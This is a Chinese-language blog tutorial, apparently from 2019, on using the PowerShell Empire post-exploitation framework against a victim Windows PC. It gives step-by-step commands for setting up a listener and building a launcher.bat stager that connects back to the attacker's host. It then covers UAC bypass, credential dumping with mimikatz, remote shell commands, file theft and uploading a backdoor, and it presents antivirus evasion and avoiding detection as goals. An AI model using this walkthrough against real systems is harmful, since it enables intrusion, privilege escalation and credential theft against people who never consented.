Empire – PowerShell 後滲透攻擊框架
阿新 • • 發佈:2019-09-13
0x01 簡介
Empire是一個後滲透攻擊框架。它是一個純粹的PowerShell代理,具有加密安全通訊和靈活架構的附加功能。Empire具有在不需要PowerShell.exe的情況下執行PowerShell代理的方法。它可以迅速採用可後期利用的模組,涵蓋範圍廣泛,從鍵盤記錄器到mimikatz等。這個框架是PowerShell Empire和Python Empire專案的組合; 這使得它使用者友好和方便。PowerShell Empire於2015年問世,Python Empire於2016年問世。它類似於Metasploit和Meterpreter。但由於它是命令和控制工具,它允許您更有效地控制PC。
PowerShell提供了豐富的攻擊性優勢,進一步包括.NET的全部訪問,applock白名單以及對Win32的直接訪問。它還在記憶體中構建惡意二進位制檔案。它提供C2功能,允許您在第一階段之後植入第二階段。它也可以用於橫向移動。它與其他框架相比發展迅速,且非常方便。此外,由於它不需要PowerShell.exe,它可以讓您繞過反病毒。因此,最好使用PowerShell Empire。
0x02 功能
listenter:監聽器是一個從我們正在攻擊的機器上偵聽連線的程序。這有助於Empire將戰利品發回攻擊者的計算機。
Stager: stager是一段程式碼,允許我們的惡意程式碼通過受感染主機上的代理執行。
proxy:代理是一種程式,用於維護計算機與受感染主機之間的連線。
module:執行我們的惡意命令,這些命令可以收集憑據並升級我們的許可權。
0x03 安裝
使用以下命令下載它:
git clone https://github.com/EmpireProject/Empire.git
下載完成並完成後,請按照下面給出的步驟進行安裝:
cd Empire/
cd setup/
./install.sh
安裝完成後,移回Empire目錄並使用./empire執行empire
現在使用help命令,因為它打開了最初所需的所有基本選項。
(Empire) > help
Commands
========
agents Jump to the Agents menu. # 跳轉到代理選單
creds Add/display credentials to/from the database. # 從資料庫中新增/顯示憑據
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent. # 與特定的代理互動
list Lists active agents or listeners. # 列出活動代理或偵聽器
listeners Interact with active listeners. # 與活躍的會話互動
load Loads Empire modules from a non-standard folder. # 從非標準資料夾載入Empire模組
plugin Load a plugin file to extend Empire. # 載入外掛檔案以擴充套件Empire
plugins List all available and active plugins. # 列出所有可用的和活動的外掛
preobfuscate Preobfuscate PowerShell module_source files # 預混淆PowerShell模組原始檔
reload Reload one (or all) Empire modules. # 重新載入一個或多個Empire模組
report Produce report CSV and log files: sessions.csv, credentials.csv, master.log
# 生成CSV報告和日誌檔案
reset Reset a global option (e.g. IP whitelists). # 重置一個全域性的選項
resource Read and execute a list of Empire commands from a file. # 從檔案中讀取並執行Empire命令列表
searchmodule Search Empire module names/descriptions. # 搜尋帝國模組名稱/描述
set Set a global option (e.g. IP whitelists). # 設定全域性選項
show Show a global option (e.g. IP whitelists). # 顯示全域性選項
usemodule Use an Empire module. # 使用一個Empire模組
usestager Use an Empire stager. # 使用一個Empire程式碼段
根據工作流程,首先,我們必須在本地機器上建立一個監聽器。
listeners 檢視活動的偵聽器
進入監聽器介面輸入以下命令檢視所有可用的偵聽器
(Empire: listeners) > uselistener <tab> <tab>
dbx http_com http_hop meterpreter redirector
http http_foreign http_mapi onedrive
最流行和最常用的偵聽器是http
uselistener http
此命令在本地埠80上建立一個偵聽器。如果埠80已經被像Apache這樣的服務佔用,請確保停止該服務,因為此偵聽器是http偵聽器只能在埠80上工作。
檢視偵聽器下可以使用的命令
(Empire: listeners) > <tab><tab>
agents delete enable info list resource
back disable exit kill listeners uselistener
creds edit help launcher main usestager
如果要刪除一個活躍的listener,使用kill命令
(Empire: listeners) > kill http
[!] Killing listener 'http'
現在要檢視所有你應該在這個監聽器型別中提供的選項:
info
正如上圖所示,你可以使用各種設定來修改或自定義偵聽器。我們可以嘗試更改我們的監聽器的名稱,這樣有助於記住所有被啟用的監聽器;
set Name test
上面的命令會將偵聽器的名稱從http更改為test。
通常,此偵聽器會自動佔用本地主機IP,但為了以防萬一,你可以使用以下命令設定IP:
set Host 192.168.88.152
execute
上面的命令將執行監聽器。然後返回並使用PowerShell偵聽器
現在輸入'back'以從監聽器介面返回,以便我們可以執行我們的模組。使用以下命令檢視Empire提供的所有模組:
(Empire: listeners/http) > back
(Empire: listeners) > usestager <tab> <tab>
正如圖中所示,Windows和IOS都有很多模組,還有一些可以在任何平臺上使用的多模組。以下實驗,我們將使用launcher_bat建立惡意軟體並利用受害者的PC。
usestager windows/launcher_bat
然後再次鍵入“info”以檢視漏洞利用所需的所有設定。經過檢查,發現我們只需要提供listener。
set Listener test
execute
在設定偵聽器測試並建立/tmp/launcher.bat之後,上述兩個命令將執行我們的漏洞利用。使用python伺服器在受害者的PC中執行此檔案。
python -m SimpleHTTPServer 8080
當檔案將執行時,您將有一個會話。要檢查您的會話型別:
agents
使用上面的命令,您可以看到已啟用會話。您可以更改會話的名稱,因為預設情況下給出的名稱非常複雜且難以記住。為此,請鍵入:
rename P4BNYW6D pc01
使用以下命令訪問會話:
interact pc01
獲得對會話的訪問許可權後,請嘗試使用以下命令獲取管理會話:
bypassuac http
執行bypassuac命令後,將開啟另一個會話。鍵入以下內容重新命名該會話:
rename HE3K45LN admin01
interact with admin01 now.
interact admin01
<tab> <tab>幫助我們檢視shell中的所有選項。有幾種選擇對後期開發很有幫助。如資訊,工作,列表等,如圖所示。
資訊: 所有基本細節,如IP,隨機數,抖動,完整性等。
現在,如果使用'help'命令,您將能夠看到所有可執行命令。
讓我們嘗試執行 mimikatz 來獲取使用者的密碼。由於 mimikatz 不能在普通的guest使用者shell上執行,並且只能在admin shell上執行; 這也證明我們必須實現管理員訪問許可權,以便我們可以使用mimikatz。
Hmmmm!使用者的密碼為“123456”。
creds
上面的命令也會在明文及其雜湊中轉儲任何使用者的憑據或密碼。
另一個重要的命令是 shell 命令。
要使用受害者的shell執行正確的Microsoft Windows命令,我們使用此功能。
例如:一個這樣的視窗的cmd only命令是 netstat
shell netstat -ano
正如預期的那樣,上面的命令向我們展示了機器上當前工作的所有埠!
現在,因為windows中的預設shell目錄是“ C:/ windows / system32 ”; 讓我們嘗試移動到另一個目錄並嘗試從那裡下載一些檔案,我們也可以在該位置上傳一些內容,例如,我們可以上傳後門!現在,使用以下命令:
shell cd C:\Users\lihui03\Desktop
shell dir
download msf.pdf
上面的命令將從視窗的桌面下載一個名為msf.pdf的影象到“帝國的下載目錄”
在這裡我們可以上傳任何後門,在上面的命令的幫助下,我們從Kali的桌面上傳一個後門到受害者的桌面,我們甚至可以呼叫這個檔案,因為我們有shell訪問許可權!
upload /root/shell.hta
這是下載檔案的位置:
檢視上傳的檔案
上面的命令證明我們確實已經上傳了shell.hta
之前展示的是帝國的基本演示及其使用的不同術語以及如何使用它們。還有另一個術語,即usemodule。最後,讓我們看看如何使用它。
該命令將顯示所有可用模組並可供使用,如下圖所示:
以下是如何使用usemodule的小型演示。型別:
usemodule trollsploit/message
set MsgText you have been hacked
execute
y
使用上述模組將在受害者的PC上顯示一條訊息,如下圖所示:
目標機器上是這樣的!!!
結論
惡意軟體以.exe / dll / hta等形式允許攻擊者構建任何理想的攻擊,因為此框架可以訪問Win32。由於其廣泛,真實和有效的後漏洞收集,它是一個偉大的工具。最終,目標是在攻擊中未被發現併成功,這個工具允許我們這樣做。
&nbs